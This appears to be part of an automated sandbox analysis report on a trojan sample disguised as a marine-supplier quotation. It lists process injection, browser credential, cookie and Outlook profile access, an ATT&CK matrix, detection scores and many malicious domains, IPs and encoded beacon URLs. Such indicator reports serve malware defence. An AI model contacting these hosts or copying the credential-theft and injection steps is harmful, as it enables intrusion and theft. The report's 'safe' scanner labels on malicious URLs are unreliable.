Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\svchost.exe	Thread register set: target process: 7540	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Thread register set: target process: 7540	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Thread register set: target process: 7964	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\svchost.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2FE1008

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

0_2_00691201

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_00672BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00672BA5

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_0069B226 SendInput,keybd_event,

0_2_0069B226

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006B22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_006B22DA

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe"	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

0_2_00690B62

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_00691663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00691663

Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: QUOTATION#070125-ELITE MARINE .exe, RAVCpl64.exe, 00000002.00000002.16200672767.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000002.00000000.11663489590.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RAVCpl64.exe, 00000002.00000002.16200672767.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000002.00000000.11663489590.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: RAVCpl64.exe, 00000002.00000002.16200672767.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000002.00000000.11663489590.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: RAVCpl64.exe, 00000002.00000002.16200672767.0000000000DB1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000002.00000000.11663489590.0000000000DB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ~Program Manager!

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_00650698 cpuid

0_2_00650698

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006A8195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_006A8195

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_0068D27A GetUserNameW,

0_2_0068D27A

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_0066B952 GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_0066B952

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.15246117394.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15246023580.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11733519795.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11735115611.00000000038A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: WIN_81
Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: WIN_XP
Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: WIN_XPe
Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: WIN_VISTA
Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: WIN_7
Source: QUOTATION#070125-ELITE MARINE .exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.15246117394.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.15246023580.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11733519795.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11735115611.00000000038A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006B1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_006B1204
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006B1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_006B1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
QUOTATION#070125-ELITE MARINE .exe	61%	ReversingLabs	Win32.Trojan.AutoitInject
QUOTATION#070125-ELITE MARINE .exe	100%	Avira	DR/AutoIt.Gen8
QUOTATION#070125-ELITE MARINE .exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.rpa.asia/bwjl/	0%	Avira URL Cloud	safe
http://www.furrcali.xyz/k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaV6xOj1iJ+/0Z9jT4Yg=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
http://www.100millionjobs.africa/cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q+DXvNuoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqILyFVQkk3fe4uC3E7DA=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-72.png	0%	Avira URL Cloud	safe
https://www.furrcali.xyz/k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpd	0%	Avira URL Cloud	safe
http://www.givvjn.info/nkmx/?lV=eUQnbnMYY/LCOqGESTL4TQrP6i0At1UjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth90fPOn8W2O2KjrJHqc=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
http://www.mirenzhibo.net/wbfy/?lV=Xeeb3ImT6ZQQytgHl6ygbKjk3RvUis2KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPQegMjeyq5uNXxHJj0c=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
http://maximumgroup.co.za/cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q	0%	Avira URL Cloud	safe
http://www.ogbos88.cyou/kj1o/	0%	Avira URL Cloud	safe
http://www.buyspeechst.shop/w98i/?lV=UfwHaNGeM7ohZqxMT1oJCRJMGlT3jOeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5XvtXdm/7Udw9aOHtOE=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
http://www.bonheur.tech/t3iv/	0%	Avira URL Cloud	safe
http://www.chiro.live/jwa9/	0%	Avira URL Cloud	safe
http://www.ogbos88.cyou	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/logo/logo-loopia-white.svg	0%	Avira URL Cloud	safe
http://www.bonheur.tech/t3iv/?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	0%	Avira URL Cloud	safe
http://www.buyspeechst.shop/w98i/	0%	Avira URL Cloud	safe
http://www.furrcali.xyz/k29t/	0%	Avira URL Cloud	safe
https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	0%	Avira URL Cloud	safe
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	0%	Avira URL Cloud	safe
http://www.nextlevel.finance/kgjj/	0%	Avira URL Cloud	safe
http://www.100millionjobs.africa/cxj4/	0%	Avira URL Cloud	safe
http://www70.chiro.live/	0%	Avira URL Cloud	safe
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	0%	Avira URL Cloud	safe
http://www.chiro.live/jwa9/?lV=nbEb6BapjrCYd3vpIU65dRTaoPK2c484Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKRb9RHtiv87SZwxMyIk=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
http://www.zbywl.com/js.js	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/style/2022-extra-pages.css	0%	Avira URL Cloud	safe
http://www.nextlevel.finance/kgjj/?lV=m0PzV+DL9MdhQie6uq/amrvVR35Q8Tf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZYXkuMLBntBAotkskh0=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-114.png	0%	Avira URL Cloud	safe
http://www.bokus.site/qps0/	0%	Avira URL Cloud	safe
http://www.givvjn.info/nkmx/	0%	Avira URL Cloud	safe
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	0%	Avira URL Cloud	safe
https://ogbos88vip.click	0%	Avira URL Cloud	safe
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/styles/reset.css	0%	Avira URL Cloud	safe
http://www.rpa.asia/bwjl/?lV=DlXUXSIcZnIsgzl0u4NtOaZFY3Bzu0GepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v3ILJktUUuvXcybstOw=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-57.png	0%	Avira URL Cloud	safe
http://www.mirenzhibo.net/wbfy/	0%	Avira URL Cloud	safe
http://www.mzkd6gp5.top/3u0p/?lV=s2YzwEkhsdaL/kJQlHk7A3SE2/Z36REv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/5arF9GGIcX7zSRGFgQ=&LSbaT=zft4LoBw	0%	Avira URL Cloud	safe
http://www.mzkd6gp5.top/3u0p/	0%	Avira URL Cloud	safe
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736437877.0005169428&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiY	0%	Avira URL Cloud	safe
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	0%	Avira URL Cloud	safe
https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.rpa.asia	160.25.166.123	true	true	unknown
www.mirenzhibo.net	202.95.11.110	true	true	unknown
www.furrcali.xyz	103.106.67.112	true	true	unknown
www.milp.store	194.9.94.85	true	true	unknown
www.bonheur.tech	76.223.54.146	true	true	unknown
www.chiro.live	198.58.118.167	true	true	unknown
www.bokus.site	199.192.21.169	true	true	unknown
www.givvjn.info	47.83.1.90	true	true	unknown
www.mzkd6gp5.top	104.21.96.1	true	true	unknown
100millionjobs.africa	136.243.64.147	true	true	unknown
www.nextlevel.finance	76.223.54.146	true	true	unknown
www.ogbos88.cyou	104.21.13.141	true	true	unknown
www.buyspeechst.shop	104.21.112.1	true	true	unknown
www.elettrocoltura.info	unknown	unknown	false	unknown
www.100millionjobs.africa	unknown	unknown	false	unknown
www.lejgnu.info	unknown	unknown	false	unknown
www.smartbath.shop	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.100millionjobs.africa/cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q+DXvNuoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqILyFVQkk3fe4uC3E7DA=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.rpa.asia/bwjl/	true	Avira URL Cloud: safe	unknown
http://www.furrcali.xyz/k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaV6xOj1iJ+/0Z9jT4Yg=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.ogbos88.cyou/kj1o/	true	Avira URL Cloud: safe	unknown
http://www.mirenzhibo.net/wbfy/?lV=Xeeb3ImT6ZQQytgHl6ygbKjk3RvUis2KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPQegMjeyq5uNXxHJj0c=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.buyspeechst.shop/w98i/?lV=UfwHaNGeM7ohZqxMT1oJCRJMGlT3jOeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5XvtXdm/7Udw9aOHtOE=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.givvjn.info/nkmx/?lV=eUQnbnMYY/LCOqGESTL4TQrP6i0At1UjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth90fPOn8W2O2KjrJHqc=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.chiro.live/jwa9/	true	Avira URL Cloud: safe	unknown
http://www.furrcali.xyz/k29t/	true	Avira URL Cloud: safe	unknown
http://www.buyspeechst.shop/w98i/	true	Avira URL Cloud: safe	unknown
http://www.bonheur.tech/t3iv/	true	Avira URL Cloud: safe	unknown
http://www.bonheur.tech/t3iv/?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.100millionjobs.africa/cxj4/	true	Avira URL Cloud: safe	unknown
http://www.chiro.live/jwa9/?lV=nbEb6BapjrCYd3vpIU65dRTaoPK2c484Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKRb9RHtiv87SZwxMyIk=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.nextlevel.finance/kgjj/	true	Avira URL Cloud: safe	unknown
http://www.nextlevel.finance/kgjj/?lV=m0PzV+DL9MdhQie6uq/amrvVR35Q8Tf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZYXkuMLBntBAotkskh0=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.givvjn.info/nkmx/	true	Avira URL Cloud: safe	unknown
http://www.bokus.site/qps0/	true	Avira URL Cloud: safe	unknown
http://www.mirenzhibo.net/wbfy/	true	Avira URL Cloud: safe	unknown
http://www.mzkd6gp5.top/3u0p/?lV=s2YzwEkhsdaL/kJQlHk7A3SE2/Z36REv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/5arF9GGIcX7zSRGFgQ=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.rpa.asia/bwjl/?lV=DlXUXSIcZnIsgzl0u4NtOaZFY3Bzu0GepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v3ILJktUUuvXcybstOw=&LSbaT=zft4LoBw	true	Avira URL Cloud: safe	unknown
http://www.mzkd6gp5.top/3u0p/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	false		high
https://duckduckgo.com/ac/?q=	b427-I_1.3.dr	false		high
http://maximumgroup.co.za/cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q	cmdkey.exe, 00000003.00000002.15247546664.00000000050E8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.furrcali.xyz/k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpd	cmdkey.exe, 00000003.00000002.15247546664.000000000559E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://push.zhanzhang.baidu.com/push.js	RAVCpl64.exe, 00000002.00000002.16214552888.0000000007C0A000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.000000000527A000.00000004.10000000.00040000.00000000.sdmp	false		high
https://static.loopia.se/responsive/images/iOS-72.png	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ogbos88.cyou	RAVCpl64.exe, 00000002.00000002.16205103694.000000000349E000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.loopia.se/shared/logo/logo-loopia-white.svg	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
